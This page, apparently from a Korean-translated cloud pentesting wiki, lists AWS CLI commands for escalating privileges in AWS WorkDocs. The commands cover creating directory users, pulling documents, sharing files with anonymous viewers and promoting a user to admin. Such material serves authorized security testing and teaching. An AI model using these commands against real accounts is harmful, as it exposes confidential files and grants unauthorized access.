AWS - WorkDocs Privesc

WorkDocs

WorkDocs에 대한 자세한 정보는 다음을 확인하십시오:

pageAWS - Directory Services / WorkDocs Enum

workdocs:CreateUser

지정된 디렉터리 내에 사용자를 생성한 다음, WorkDocs와 AD에 모두 액세스할 수 있게 됩니다:

# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>

workdocs:GetDocument, (workdocs:DescribeActivities)

파일에는 민감한 정보가 포함될 수 있습니다. 이를 읽어보세요:

# Get what was created in the directory
aws workdocs describe-activities --organization-id <directory-id>

# Get what each user has created
aws workdocs describe-activities --user-id "S-1-5-21-377..."

# Get file (a url to access with the content will be retreived)
aws workdocs get-document --document-id <doc-id>

workdocs:AddResourcePermissions

만약 당신이 무언가를 읽을 수 있는 권한이 없다면, 그것을 그냥 부여할 수 있습니다.

# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
## This will give an id, the file will be acesible in: https://<name>.awsapps.com/workdocs/index.html#/share/document/<id>

workdocs:AddUserToGroup

사용자를 ZOCALO_ADMIN 그룹에 설정하여 관리자로 만들 수 있습니다. 그를 위해 https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html의 지침을 따르세요.

해당 사용자로 workdoc에 로그인하고 /workdocs/index.html#/admin에서 관리자 패널에 액세스하세요.

CLI에서 이 작업을 수행하는 방법을 찾지 못했습니다.

最終更新